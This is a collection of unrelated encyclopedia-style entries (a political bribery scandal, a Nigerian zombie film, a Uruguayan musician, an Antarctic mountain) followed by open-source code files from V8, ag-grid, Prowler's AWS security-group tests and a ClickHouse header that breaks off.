He is remembered for his epic title fights against Dave McAuley in The King's Hall, Belfast in 1987 and 1988.
See also
List of flyweight boxing champions
References
External links
1962 births
Living people
Flyweight boxers
World flyweight boxing champions
World Boxing Association champions
Colombian male boxers
Sportspeople from Magdalena Department |
The Ohio nuclear bribery scandal (2020) is a political scandal in Ohio involving allegations that electric utility company FirstEnergy paid roughly $60 million to Generation Now, a 501(c)(4) organization purportedly controlled by Speaker of the Ohio House of Representatives Larry Householder in exchange for passing a $1.3 billion bailout for the nuclear power operator. It was described as "likely the largest bribery, money laundering scheme ever perpetrated against the people of the state of Ohio" by U.S. Attorney David M. DeVillers, who charged Householder and four others with racketeering on July 21, 2020. According to prosecutors, FirstEnergy poured millions into the campaigns of 21 candidates during the 2018 Ohio House of Representatives election, which ultimately helped Householder replace Ryan Smith as Republican House speaker.
Background
In July 2019, the House passed House Bill 6, which increased electricity rates and provided that money as a $150 million per year subsidy for the Perry and Davis–Besse nuclear plants, subsidized coal-fired power plants, and reduced subsidies for renewable energy and energy efficiency. Governor Mike DeWine signed the bill the day it passed. This bill was described as the "worst legislation yet" among bills that subsidize fossil fuels by Leah Stokes and the "worst energy bill of the 21st century" by David Roberts of Vox.
Even before the bribery scandal came to light, the financial connections between Larry Householder and FirstEnergy were public knowledge. In addition, Householder and his son flew on a corporate jet owned by FirstEnergy to attend the inauguration of Donald Trump.
Consumer advocates and the natural gas industry tried to place a ballot initiative on the 2020 ballot to overturn the law but were unsuccessful due to negative campaigning by Generation Now.
Reactions
Governor Mike DeWine asked Householder to resign, as did former Governor John Kasich who previously opposed H.B. 6, but Householder refused. Republican legislator Jamie Callender, who had sponsored the bill, claimed no knowledge of the scheme and said that he felt "betrayed".
Democratic U.S. Senator Sherrod Brown also joined the prominent voices calling for Householder's resignation and additionally blamed the scandal on Republican one-party rule in Ohio state politics.
DeWine had earlier resisted calls to repeal H.B. 6, but changed his mind on July 23, stating: "No matter how good this policy is, the process by which this bill was passed is simply not acceptable. That process, I believe, has forever tainted the bill and now the law itself." DeWine urged the House to quickly select a new speaker in order to pass a replacement bill.
The scandal, which occurred during a presidential election campaign, led to speculation about whether it could lead Joe Biden to win the state in the 2020 presidential election. Biden ultimately lost Ohio to Donald Trump by 53.3% to 45.2%.
Aftermath
On June 16, 2021, members of the Ohio House of Representatives voted to remove Larry Householder from the House. The seat representing the 72nd House District was filled by Kevin D. Miller, a former State Highway Patrolman.
A year after the news officially broke about the scandal, on July 22, 2021, the U.S. Attorney for the Southern District of Ohio announced that FirstEnergy would be fined $230 million for their part in it. Vipal J. Patel, the acting U.S. Attorney, said that this was the largest criminal fine ever collected by the Southern District. On December 30, 2022, FirstEnergy agreed to pay a civil penalty of $3,860,000 to the United States Treasury.
In March 2023 Householder was convicted of participating in racketeering conspiracy and later that year sentenced to the maximum term of 20 years in prison.
The Cleveland Browns announced on April 13, 2023, that the team and FirstEnergy had come to an agreement to immediately terminate the naming rights deal for the Browns' stadium, known as FirstEnergy Stadium since 2013, restoring the stadium's original moniker of Cleveland Browns Stadium. The naming rights deal would have normally expired in 2029.
Notes
References
Bribery scandals
Political scandals in Ohio
Nuclear power in the United States
2020 scandals |
Benny Andersson has been active as a recording artist since 1964, when he joined Swedish rock band The Hep Stars. With them, and more recently as a member of ABBA and Benny Anderssons Orkester, he became one of the most successful Swedish composers and artists. He also wrote the musicals Chess, Kristina från Duvemåla and Mamma Mia!.
This album-discography provides a comprehensive chronological summary of the work of Benny Andersson. For this reason, every studio-album and live-album which features Andersson as an artist is listed, excluding compilation albums. Besides that, it also includes the main releases from the musicals mentioned above as well as albums, which rely heavily on Andersson as composer and producer.
1960s
1970s
1980s
1990s
2000s
2010s
( * denotes that the album is still charting)
2020s
Also appears on
Beginner's Guide to Scandinavia (3CD, Nascente 2011)
See also
ABBA discography
Benny Anderssons Orkester
Hep Stars
Gemini
References
Pop music discographies
Discographies of Swedish artists
Discography |
```c++
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "src/compiler/backend/instruction-scheduler.h"
namespace v8 {
namespace internal {
namespace compiler {
bool InstructionScheduler::SchedulerSupported() { return true; }
int InstructionScheduler::GetTargetInstructionFlags(
const Instruction* instr) const {
switch (instr->arch_opcode()) {
case kArmAdd:
case kArmAnd:
case kArmBic:
case kArmClz:
case kArmCmp:
case kArmCmn:
case kArmTst:
case kArmTeq:
case kArmOrr:
case kArmEor:
case kArmSub:
case kArmRsb:
case kArmMul:
case kArmMla:
case kArmMls:
case kArmSmmul:
case kArmSmull:
case kArmSmmla:
case kArmUmull:
case kArmSdiv:
case kArmUdiv:
case kArmMov:
case kArmMvn:
case kArmBfc:
case kArmUbfx:
case kArmSbfx:
case kArmSxtb:
case kArmSxth:
case kArmSxtab:
case kArmSxtah:
case kArmUxtb:
case kArmUxth:
case kArmUxtab:
case kArmUxtah:
case kArmRbit:
case kArmRev:
case kArmAddPair:
case kArmSubPair:
case kArmMulPair:
case kArmLslPair:
case kArmLsrPair:
case kArmAsrPair:
case kArmVcmpF32:
case kArmVaddF32:
case kArmVsubF32:
case kArmVmulF32:
case kArmVmlaF32:
case kArmVmlsF32:
case kArmVdivF32:
case kArmVabsF32:
case kArmVnegF32:
case kArmVsqrtF32:
case kArmVcmpF64:
case kArmVaddF64:
case kArmVsubF64:
case kArmVmulF64:
case kArmVmlaF64:
case kArmVmlsF64:
case kArmVdivF64:
case kArmVmodF64:
case kArmVabsF64:
case kArmVnegF64:
case kArmVsqrtF64:
case kArmVrintmF32:
case kArmVrintmF64:
case kArmVrintpF32:
case kArmVrintpF64:
case kArmVrintzF32:
case kArmVrintzF64:
case kArmVrintaF64:
case kArmVrintnF32:
case kArmVrintnF64:
case kArmVcvtF32F64:
case kArmVcvtF64F32:
case kArmVcvtF32S32:
case kArmVcvtF32U32:
case kArmVcvtF64S32:
case kArmVcvtF64U32:
case kArmVcvtS32F32:
case kArmVcvtU32F32:
case kArmVcvtS32F64:
case kArmVcvtU32F64:
case kArmVmovU32F32:
case kArmVmovF32U32:
case kArmVmovLowU32F64:
case kArmVmovLowF64U32:
case kArmVmovHighU32F64:
case kArmVmovHighF64U32:
case kArmVmovF64U32U32:
case kArmVmovU32U32F64:
case kArmFloat32Max:
case kArmFloat64Max:
case kArmFloat32Min:
case kArmFloat64Min:
case kArmFloat64SilenceNaN:
case kArmF32x4Splat:
case kArmF32x4ExtractLane:
case kArmF32x4ReplaceLane:
case kArmF32x4SConvertI32x4:
case kArmF32x4UConvertI32x4:
case kArmF32x4Abs:
case kArmF32x4Neg:
case kArmF32x4RecipApprox:
case kArmF32x4RecipSqrtApprox:
case kArmF32x4Add:
case kArmF32x4AddHoriz:
case kArmF32x4Sub:
case kArmF32x4Mul:
case kArmF32x4Div:
case kArmF32x4Min:
case kArmF32x4Max:
case kArmF32x4Eq:
case kArmF32x4Ne:
case kArmF32x4Lt:
case kArmF32x4Le:
case kArmI32x4Splat:
case kArmI32x4ExtractLane:
case kArmI32x4ReplaceLane:
case kArmI32x4SConvertF32x4:
case kArmI32x4SConvertI16x8Low:
case kArmI32x4SConvertI16x8High:
case kArmI32x4Neg:
case kArmI32x4Shl:
case kArmI32x4ShrS:
case kArmI32x4Add:
case kArmI32x4AddHoriz:
case kArmI32x4Sub:
case kArmI32x4Mul:
case kArmI32x4MinS:
case kArmI32x4MaxS:
case kArmI32x4Eq:
case kArmI32x4Ne:
case kArmI32x4GtS:
case kArmI32x4GeS:
case kArmI32x4UConvertF32x4:
case kArmI32x4UConvertI16x8Low:
case kArmI32x4UConvertI16x8High:
case kArmI32x4ShrU:
case kArmI32x4MinU:
case kArmI32x4MaxU:
case kArmI32x4GtU:
case kArmI32x4GeU:
case kArmI16x8Splat:
case kArmI16x8ExtractLane:
case kArmI16x8ReplaceLane:
case kArmI16x8SConvertI8x16Low:
case kArmI16x8SConvertI8x16High:
case kArmI16x8Neg:
case kArmI16x8Shl:
case kArmI16x8ShrS:
case kArmI16x8SConvertI32x4:
case kArmI16x8Add:
case kArmI16x8AddSaturateS:
case kArmI16x8AddHoriz:
case kArmI16x8Sub:
case kArmI16x8SubSaturateS:
case kArmI16x8Mul:
case kArmI16x8MinS:
case kArmI16x8MaxS:
case kArmI16x8Eq:
case kArmI16x8Ne:
case kArmI16x8GtS:
case kArmI16x8GeS:
case kArmI16x8UConvertI8x16Low:
case kArmI16x8UConvertI8x16High:
case kArmI16x8ShrU:
case kArmI16x8UConvertI32x4:
case kArmI16x8AddSaturateU:
case kArmI16x8SubSaturateU:
case kArmI16x8MinU:
case kArmI16x8MaxU:
case kArmI16x8GtU:
case kArmI16x8GeU:
case kArmI8x16Splat:
case kArmI8x16ExtractLane:
case kArmI8x16ReplaceLane:
case kArmI8x16Neg:
case kArmI8x16Shl:
case kArmI8x16ShrS:
case kArmI8x16SConvertI16x8:
case kArmI8x16Add:
case kArmI8x16AddSaturateS:
case kArmI8x16Sub:
case kArmI8x16SubSaturateS:
case kArmI8x16Mul:
case kArmI8x16MinS:
case kArmI8x16MaxS:
case kArmI8x16Eq:
case kArmI8x16Ne:
case kArmI8x16GtS:
case kArmI8x16GeS:
case kArmI8x16UConvertI16x8:
case kArmI8x16AddSaturateU:
case kArmI8x16SubSaturateU:
case kArmI8x16ShrU:
case kArmI8x16MinU:
case kArmI8x16MaxU:
case kArmI8x16GtU:
case kArmI8x16GeU:
case kArmS128Zero:
case kArmS128Dup:
case kArmS128And:
case kArmS128Or:
case kArmS128Xor:
case kArmS128Not:
case kArmS128Select:
case kArmS32x4ZipLeft:
case kArmS32x4ZipRight:
case kArmS32x4UnzipLeft:
case kArmS32x4UnzipRight:
case kArmS32x4TransposeLeft:
case kArmS32x4TransposeRight:
case kArmS32x4Shuffle:
case kArmS16x8ZipLeft:
case kArmS16x8ZipRight:
case kArmS16x8UnzipLeft:
case kArmS16x8UnzipRight:
case kArmS16x8TransposeLeft:
case kArmS16x8TransposeRight:
case kArmS8x16ZipLeft:
case kArmS8x16ZipRight:
case kArmS8x16UnzipLeft:
case kArmS8x16UnzipRight:
case kArmS8x16TransposeLeft:
case kArmS8x16TransposeRight:
case kArmS8x16Concat:
case kArmS8x16Shuffle:
case kArmS32x2Reverse:
case kArmS16x4Reverse:
case kArmS16x2Reverse:
case kArmS8x8Reverse:
case kArmS8x4Reverse:
case kArmS8x2Reverse:
case kArmS1x4AnyTrue:
case kArmS1x4AllTrue:
case kArmS1x8AnyTrue:
case kArmS1x8AllTrue:
case kArmS1x16AnyTrue:
case kArmS1x16AllTrue:
return kNoOpcodeFlags;
case kArmVldrF32:
case kArmVldrF64:
case kArmVld1F64:
case kArmVld1S128:
case kArmLdrb:
case kArmLdrsb:
case kArmLdrh:
case kArmLdrsh:
case kArmLdr:
case kArmPeek:
case kArmWord32AtomicPairLoad:
return kIsLoadOperation;
case kArmVstrF32:
case kArmVstrF64:
case kArmVst1F64:
case kArmVst1S128:
case kArmStrb:
case kArmStrh:
case kArmStr:
case kArmPush:
case kArmPoke:
case kArmDmbIsh:
case kArmDsbIsb:
case kArmWord32AtomicPairStore:
case kArmWord32AtomicPairAdd:
case kArmWord32AtomicPairSub:
case kArmWord32AtomicPairAnd:
case kArmWord32AtomicPairOr:
case kArmWord32AtomicPairXor:
case kArmWord32AtomicPairExchange:
case kArmWord32AtomicPairCompareExchange:
return kHasSideEffect;
#define CASE(Name) case k##Name:
COMMON_ARCH_OPCODE_LIST(CASE)
#undef CASE
// Already covered in architecture independent code.
UNREACHABLE();
}
UNREACHABLE();
}
int InstructionScheduler::GetInstructionLatency(const Instruction* instr) {
// TODO(all): Add instruction cost modeling.
return 1;
}
} // namespace compiler
} // namespace internal
} // namespace v8
``` |
Ojuju is a 2014 Nigerian zombie thriller film, written and directed by C.J. Obasi. The film which has a zero-budget, stars Gabriel Afolayan, Omowunmi Dada, and Kelechi Udegbe. It premiered at the 4th Africa International Film Festival, where it won the award for "Best Nigerian Movie".
Cast
Gabriel Afolayan as Romero
Omowumi Dada as Peju
Kelechi Udegbe as Emmy
Chidozie Nzeribe as Fela
Brutus Richard as Gaza
Meg Otanwa as Alero
Paul Utomi as The First Ojuju
Yvonne Enakhena as Aisha
Jumoke Ayadi as Iya Sikiru
Tommy Oyewole as Officer Lade
Emeka Okoye as The Chemist
Kelechi Joseph as The Kid
Klint da Drunk (cameo)
Production
C.J. Obasi had been visiting a friend in a slum location. He observed unique features of the area; which included for example, the area has a single point of entry and exit, the area also had only one source of water, which everyone fetched from. Obasi then decided to develop a story based on this premise, since it was feasible to create a story based on the consequences of pollution to the common Nigerian. In an interview, Obasi stated that he chose the name "Ojuju" because he didn’t want to use the word "zombies" in any manner or form, as he believed that if such an outbreak occurred in the slums of Lagos, the "Zombie" word would hardly be used to describe it. Obasi also felt it would be more realistic to eliminate any supernatural elements to the plot, and localize the Zombie genre for the Nigerian environment, rather than trying to do a Hollywood-version of what a zombie film ought to be.
The first actor to be cast in Ojuju was Gabriel Afolayan, who would play the lead character of Romero in the film. Next was Paul Utomi, an actor who Obasi had wanted to work with for some time. Other members of the main cast, including Omowunmi Dada and Yvonne Enakhena, were in an open audition for the film.
Principal photography for Ojuju began in November 2013, in a close-knit slum location in Ikeja, Lagos. Additional establishment scenes were shot around Bariga, while the police station scenes were shot in "Compact E-Schedular", a film and television production company at Opebi, Ikeja in February 2014. Initial budget for the film was ₦5,000,000 ($30,000); however, no investor showed any interest in funding the film. Eventually, Obasi, along with Oge Obasi, the producer of the film struck pro bono deals regarding equipment leasing, and with cast and crew. Most of the extras featured in the film were real inhabitants of the slum, where the film was shot.
Music
The film was scored by Wache Pollen, with additional soundtrack by Beatoven. Original background scores were composed by David Jones David. The lyrics of the closing song “Run Things” was penned by C.J. Obasi.
Release
A teaser trailer for Ojuju was released to the public on 10 August 2014. The film premiered at the 2014 Africa International Film Festival on 11 November 2014.
Reception
Critical response
Todd Brown of Twitch Film concludes: "There is no question at all that Ojuju has its limitations. But it also shows a clarity of vision and a broad base of skills that mark Obasi as a director to watch out for". Frank Scheck of The Hollywood Reporter wrote: "Although made on an obviously minuscule budget, this enterprising genre pic is very well crafted. Infused with both sly humor and genuine thrills, it puts many similarly themed American efforts to shame, with the exoticism of its setting only adding to the overall effect." In a 2022 IndieWire article, Ojuju was listed on rank 11 of the Best Zombie Films of All Time category.
Awards and recognition
Cultural references
While exploring the evil dead theme, the film's hero, Romero, is named after Night of the Living Dead director George A. Romero.
References
External links
2014 films
Nigerian thriller films
Yoruba-language films
2014 horror films
Nigerian zombie films |
```javascript
/**
* ag-grid - Advanced Data Grid / Data Table supporting Javascript / React / AngularJS / Web Components
* @version v6.2.1
* @link path_to_url
* @license MIT
*/
var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) {
var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d;
if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc);
else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r;
return c > 3 && r && Object.defineProperty(target, key, r), r;
};
var __metadata = (this && this.__metadata) || function (k, v) {
if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v);
};
var rowRenderer_1 = require("./rowRenderer");
var gridPanel_1 = require("../gridPanel/gridPanel");
var context_1 = require("../context/context");
var context_2 = require("../context/context");
var headerRenderer_1 = require("../headerRendering/headerRenderer");
var renderedHeaderCell_1 = require("../headerRendering/renderedHeaderCell");
var gridOptionsWrapper_1 = require("../gridOptionsWrapper");
var AutoWidthCalculator = (function () {
function AutoWidthCalculator() {
}
// this is the trick: we create a dummy container and clone all the cells
// into the dummy, then check the dummy's width. then destroy the dummy
// as we don't need it any more.
// drawback: only the cells visible on the screen are considered
AutoWidthCalculator.prototype.getPreferredWidthForColumn = function (column) {
var renderedHeaderCell = this.getHeaderCellForColumn(column);
// cell isn't visible
if (!renderedHeaderCell) {
return -1;
}
var eDummyContainer = document.createElement('span');
// position fixed, so it isn't restricted to the boundaries of the parent
eDummyContainer.style.position = 'fixed';
// we put the dummy into the body container, so it will inherit all the
// css styles that the real cells are inheriting
var eBodyContainer = this.gridPanel.getBodyContainer();
eBodyContainer.appendChild(eDummyContainer);
// get all the cells that are currently displayed (this only brings back
// rendered cells, rows not rendered due to row visualisation will not be here)
this.putRowCellsIntoDummyContainer(column, eDummyContainer);
// also put header cell in
// we only consider the lowest level cell, not the group cell. in 99% of the time, this
// will be enough. if we consider groups, then it gets to complicated for what it's worth,
// as the groups can span columns and this class only considers one column at a time.
this.cloneItemIntoDummy(renderedHeaderCell.getGui(), eDummyContainer);
// at this point, all the clones are lined up vertically with natural widths. the dummy
// container will have a width wide enough just to fit the largest.
var dummyContainerWidth = eDummyContainer.offsetWidth;
// we are finished with the dummy container, so get rid of it
eBodyContainer.removeChild(eDummyContainer);
// we add padding as I found without it, the gui still put '...' after some of the texts
var autoSizePadding = this.gridOptionsWrapper.getAutoSizePadding();
if (typeof autoSizePadding !== 'number' || autoSizePadding < 0) {
autoSizePadding = 4;
}
return dummyContainerWidth + autoSizePadding;
};
AutoWidthCalculator.prototype.getHeaderCellForColumn = function (column) {
var renderedHeaderCell = null;
// find the rendered header cell
this.headerRenderer.forEachHeaderElement(function (headerElement) {
if (headerElement instanceof renderedHeaderCell_1.RenderedHeaderCell) {
var currentCell = headerElement;
if (currentCell.getColumn() === column) {
renderedHeaderCell = currentCell;
}
}
});
return renderedHeaderCell;
};
AutoWidthCalculator.prototype.putRowCellsIntoDummyContainer = function (column, eDummyContainer) {
var _this = this;
var eOriginalCells = this.rowRenderer.getAllCellsForColumn(column);
eOriginalCells.forEach(function (eCell, index) {
_this.cloneItemIntoDummy(eCell, eDummyContainer);
});
};
AutoWidthCalculator.prototype.cloneItemIntoDummy = function (eCell, eDummyContainer) {
// make a deep clone of the cell
var eCellClone = eCell.cloneNode(true);
// the original has a fixed width, we remove this to allow the natural width based on content
eCellClone.style.width = '';
// the original has position = absolute, we need to remove this so it's positioned normally
eCellClone.style.position = 'static';
eCellClone.style.left = '';
// we put the cell into a containing div, as otherwise the cells would just line up
// on the same line, standard flow layout, by putting them into divs, they are laid
// out one per line
var eCloneParent = document.createElement('div');
// table-row, so that each cell is on a row. i also tried display='block', but this
// didn't work in IE
eCloneParent.style.display = 'table-row';
// the twig on the branch, the branch on the tree, the tree in the hole,
// the hole in the bog, the bog in the clone, the clone in the parent,
// the parent in the dummy, and the dummy down in the vall-e-ooo, OOOOOOOOO! Oh row the rattling bog....
eCloneParent.appendChild(eCellClone);
eDummyContainer.appendChild(eCloneParent);
};
__decorate([
context_2.Autowired('rowRenderer'),
__metadata('design:type', rowRenderer_1.RowRenderer)
], AutoWidthCalculator.prototype, "rowRenderer", void 0);
__decorate([
context_2.Autowired('headerRenderer'),
__metadata('design:type', headerRenderer_1.HeaderRenderer)
], AutoWidthCalculator.prototype, "headerRenderer", void 0);
__decorate([
context_2.Autowired('gridPanel'),
__metadata('design:type', gridPanel_1.GridPanel)
], AutoWidthCalculator.prototype, "gridPanel", void 0);
__decorate([
context_2.Autowired('gridOptionsWrapper'),
__metadata('design:type', gridOptionsWrapper_1.GridOptionsWrapper)
], AutoWidthCalculator.prototype, "gridOptionsWrapper", void 0);
AutoWidthCalculator = __decorate([
context_1.Bean('autoWidthCalculator'),
__metadata('design:paramtypes', [])
], AutoWidthCalculator);
return AutoWidthCalculator;
})();
exports.AutoWidthCalculator = AutoWidthCalculator;
``` |
Mount Demaria () is a mountain with precipitous sides, high, rising immediately southeast of Cape Tuxen on the west coast of Kyiv Peninsula in Graham Land. It was probably first sighted by the Belgian Antarctic Expedition of 1897–99. It was charted by the French Antarctic Expedition of 1903–05 and was named by Jean-Baptiste Charcot for the Demaria brothers, French developers of an anastigmatic lens used by the expedition's photographic section.
The first ascent was on 22 July 1979, and was completed by R. Ashley, R. Bowler, K. Bryne, D. Forsyth UK. The second ascent took place on 1 October 1979 by M. Brettle, A. Hawkins, J. Kerr, and J. Nutt.
References
Mountains of Graham Land
Danco Coast |
Six regiments of the British Army have been numbered the 96th Regiment of Foot:
96th Regiment of Foot (1760), raised in 1760, disbanded 1763
96th Regiment of Foot (British Musketeers), raised in 1780
96th Regiment of Foot (1793). raised in 1793. numbered 96th in 1794, disbanded 1796.
96th Regiment of Foot, formed in 1803 from the 2nd Battalion, 52nd Regiment
96th (Queen's Own Germans) Regiment of Foot, renumbered from the 97th in 1816
96th Regiment of Foot, raised in 1824 |
Eduardo Pedro Lombardo (born 13 March 1966), nicknamed Edú and Pitufo (Smurf), is a Uruguayan musician, composer, and singer. He stood out as a teenager as a member of several murgas in his country, in addition to accompanying renowned artists as a percussionist. Since 2007 he has developed a distinguished career as a soloist.
Career
At age 14, Lombardo was one of the founders of the El Firulete children's murga in 1980, the predecessor of what would become . Being part of this group allowed him to meet various artists, including Jorge Lazaroff, , , , , and .
In the mid-1980s he began to study percussion.
In 1984 he joined , first as a percussionist and then as a director. With this murga he would earn the first prize of the Montevideo Carnival in 1988 and 1989. Later he would also get the first prize with the murgas La Gran Muñeca, Contrafarsa, and .
In 1987 he was part of the last lineup of the group .
He has been a member of the accompanying bands of various artists, including Jaime Roos, Rubén Olivera, Mauricio Ubal, Jorge Galemire, and Jorge Drexler.
In 2002 the play Murga madre premiered, starring Pinocho Routin and Pitufo. The script was by Pinocho and the direction was by Fernando Toja. The show's music was composed by Pitufo. Murga madre received the for Best Musical Show that year. The soundtrack gave rise to an album, which features the voices of Pinocho and Pitufo, with participation by well-known artists, including Jaime Roos, Hugo and Osvaldo Fattoruso, Luciano Supervielle, , and . The show also gave rise to a DVD, recorded at the Solís Theatre. The title song of the play and the album is, in Edú's own opinion, the best that he ever composed.
In 2007 he began his solo career with the release of his first album, Rocanrol. With this he won the Graffiti Awards for Best Composer, Best Uruguayan Popular Music Solo Album, and Theme of the Year (for the song "Rocanrol").
In 2009 his first solo DVD was released, Rocanrol a dos orillas, recorded live in Montevideo and Buenos Aires.
In 2010 Pitufo returned to star in a play with Pinocho Routin, under the direction of Toja: Montevideo Amor. It took place at the and starred (besides the two already mentioned) María Mendive and Adriana Da Silva. The soundtrack resulted in a new album.
In 2011, the DVD 30 años de música was released, which includes a show recorded at the Solís Theatre in 2010 (with Liliana Herrero, Fernando Cabrera, and Contrafarsa as guests) and interviews with relatives, acquaintances, and friends.
In 2012 Lombardo released his second solo studio album, Ilustrados y valientes. He was honored with the Graffiti Awards for Best Popular Music Album and Urban Song and Best Composer of the Year.
In Pitufo's solo career, he has accompanied a large number of notable artists in different shows, including Serrat, Lenine, Mercedes Sosa, and León Gieco.
In 2014 he launched the tour "Más Solo Que El Uno", which included concerts in Spain and Denmark, as well as various performances in his home country.
In 2014, the book Bien de al lado. Vida y música de Edú Pitufo Lombardo, written by the journalist Fabián Cardozo, based on interviews with Pitufo and other musicians, was published by the .
In 2017 Pitufo returned to compete at carnival with the murga Don Timoteo, together with his partner Marcel Keoroglián.
Discography
Solo albums
Rocanrol (Montevideo Music Group, 2007)
Ilustrados y valientes (Montevideo Music Group, 2012)
Musicos Ambulantes (Montevideo Music Group, 2017)
DVDs
Rocanrol a dos orillas (Montevideo Music Group, 2009)
30 años de música (Montevideo Music Group, 2011)
Albums from theatrical plays (with Pinocho Routin)
Murga madre (Montevideo Music Group, 2002)
Montevideo Amor (Montevideo Music Group, 2010)
References
1966 births
Living people
Uruguayan male singer-songwriters
Singers from Montevideo
Uruguayan composers
Male composers
20th-century Uruguayan male singers
21st-century Uruguayan male singers |
```python
from unittest import mock
from boto3 import client
from moto import mock_aws
from tests.providers.aws.utils import (
AWS_REGION_EU_WEST_1,
AWS_REGION_US_EAST_1,
set_mocked_aws_provider,
)
class Test_ec2_securitygroup_with_many_ingress_egress_rules:
@mock_aws
def test_ec2_default_sgs(self):
# Create EC2 Mocked Resources
ec2_client = client("ec2", region_name=AWS_REGION_US_EAST_1)
ec2_client.create_vpc(CidrBlock="10.0.0.0/16")
from prowler.providers.aws.services.ec2.ec2_service import EC2
aws_provider = set_mocked_aws_provider(
[AWS_REGION_EU_WEST_1, AWS_REGION_US_EAST_1]
)
aws_provider._audit_config = {"max_security_group_rules": 50}
with mock.patch(
"prowler.providers.common.provider.Provider.get_global_provider",
return_value=aws_provider,
), mock.patch(
"prowler.providers.aws.services.ec2.ec2_securitygroup_with_many_ingress_egress_rules.ec2_securitygroup_with_many_ingress_egress_rules.ec2_client",
new=EC2(aws_provider),
):
# Test Check
from prowler.providers.aws.services.ec2.ec2_securitygroup_with_many_ingress_egress_rules.ec2_securitygroup_with_many_ingress_egress_rules import (
ec2_securitygroup_with_many_ingress_egress_rules,
)
check = ec2_securitygroup_with_many_ingress_egress_rules()
result = check.execute()
# One default sg per region
assert len(result) == 3
# All are compliant by default
assert result[0].status == "PASS"
assert result[1].status == "PASS"
assert result[2].status == "PASS"
@mock_aws
def test_ec2_non_compliant_default_sg(self):
# Create EC2 Mocked Resources
ec2_client = client("ec2", region_name=AWS_REGION_US_EAST_1)
ec2_client.create_vpc(CidrBlock="10.0.0.0/16")
default_sg = ec2_client.describe_security_groups(GroupNames=["default"])[
"SecurityGroups"
][0]
default_sg_id = default_sg["GroupId"]
default_sg_name = default_sg["GroupName"]
for i in range(60):
ec2_client.authorize_security_group_ingress(
GroupId=default_sg_id,
IpPermissions=[
{
"IpProtocol": "tcp",
"FromPort": i,
"ToPort": i,
"IpRanges": [{"CidrIp": "0.0.0.0/0"}],
}
],
)
from prowler.providers.aws.services.ec2.ec2_service import EC2
aws_provider = set_mocked_aws_provider(
[AWS_REGION_EU_WEST_1, AWS_REGION_US_EAST_1]
)
aws_provider._audit_config = {"max_security_group_rules": 50}
with mock.patch(
"prowler.providers.common.provider.Provider.get_global_provider",
return_value=aws_provider,
), mock.patch(
"prowler.providers.aws.services.ec2.ec2_securitygroup_with_many_ingress_egress_rules.ec2_securitygroup_with_many_ingress_egress_rules.ec2_client",
new=EC2(aws_provider),
):
# Test Check
from prowler.providers.aws.services.ec2.ec2_securitygroup_with_many_ingress_egress_rules.ec2_securitygroup_with_many_ingress_egress_rules import (
ec2_securitygroup_with_many_ingress_egress_rules,
)
check = ec2_securitygroup_with_many_ingress_egress_rules()
result = check.execute()
# One default sg per region
assert len(result) == 3
# Search changed sg
for sg in result:
if sg.resource_id == default_sg_id:
assert sg.status == "FAIL"
assert sg.region == AWS_REGION_US_EAST_1
assert (
sg.status_extended
== f"Security group {default_sg_name} ({default_sg_id}) has 60 inbound rules and 1 outbound rules."
)
assert (
sg.resource_arn
== f"arn:{aws_provider.identity.partition}:ec2:{AWS_REGION_US_EAST_1}:{aws_provider.identity.account}:security-group/{default_sg_id}"
)
assert sg.resource_details == default_sg_name
assert sg.resource_tags == []
@mock_aws
def test_ec2_compliant_default_sg(self):
# Create EC2 Mocked Resources
ec2_client = client("ec2", region_name=AWS_REGION_US_EAST_1)
ec2_client.create_vpc(CidrBlock="10.0.0.0/16")
default_sg = ec2_client.describe_security_groups(GroupNames=["default"])[
"SecurityGroups"
][0]
default_sg_id = default_sg["GroupId"]
default_sg_name = default_sg["GroupName"]
ec2_client.authorize_security_group_ingress(
GroupId=default_sg_id,
IpPermissions=[
{
"IpProtocol": "tcp",
"FromPort": 23,
"ToPort": 23,
"IpRanges": [{"CidrIp": "123.123.123.123/32"}],
}
],
)
from prowler.providers.aws.services.ec2.ec2_service import EC2
aws_provider = set_mocked_aws_provider(
[AWS_REGION_EU_WEST_1, AWS_REGION_US_EAST_1]
)
aws_provider._audit_config = {"max_security_group_rules": 50}
with mock.patch(
"prowler.providers.common.provider.Provider.get_global_provider",
return_value=aws_provider,
), mock.patch(
"prowler.providers.aws.services.ec2.ec2_securitygroup_with_many_ingress_egress_rules.ec2_securitygroup_with_many_ingress_egress_rules.ec2_client",
new=EC2(aws_provider),
):
# Test Check
from prowler.providers.aws.services.ec2.ec2_securitygroup_with_many_ingress_egress_rules.ec2_securitygroup_with_many_ingress_egress_rules import (
ec2_securitygroup_with_many_ingress_egress_rules,
)
check = ec2_securitygroup_with_many_ingress_egress_rules()
result = check.execute()
# One default sg per region
assert len(result) == 3
# Search changed sg
for sg in result:
if sg.resource_id == default_sg_id:
assert sg.status == "PASS"
assert sg.region == AWS_REGION_US_EAST_1
assert (
sg.status_extended
== f"Security group {default_sg_name} ({default_sg_id}) has 1 inbound rules and 1 outbound rules."
)
assert (
sg.resource_arn
== f"arn:{aws_provider.identity.partition}:ec2:{AWS_REGION_US_EAST_1}:{aws_provider.identity.account}:security-group/{default_sg_id}"
)
assert sg.resource_details == default_sg_name
assert sg.resource_tags == []
``` |
```c++
#include <AggregateFunctions/AggregateFunctionFactory.h>
#include <Core/Settings.h>
#include <DataTypes/DataTypeDate.h>
#include <DataTypes/DataTypeDateTime.h>
#include <DataTypes/DataTypeNullable.h>
#include <Interpreters/Context.h>
#include <IO/ReadHelpers.h>
#include <IO/WriteHelpers.h>
#include <IO/ReadBufferFromString.h>
#include <IO/WriteBufferFromString.h>
#include <DataTypes/DataTypesNumber.h>
#include <Columns/ColumnString.h>
#include <Columns/ColumnVector.h>
#include <Columns/ColumnNullable.h>
#include <Common/ArenaAllocator.h>
#include <Common/assert_cast.h>
#include <AggregateFunctions/IAggregateFunction.h>
#include <bitset>
namespace DB
{
constexpr size_t max_events_size = 64;
constexpr size_t min_required_args = 3;
namespace ErrorCodes
{
extern const int ILLEGAL_TYPE_OF_ARGUMENT;
extern const int NUMBER_OF_ARGUMENTS_DOESNT_MATCH;
extern const int BAD_ARGUMENTS;
extern const int UNKNOWN_AGGREGATE_FUNCTION;
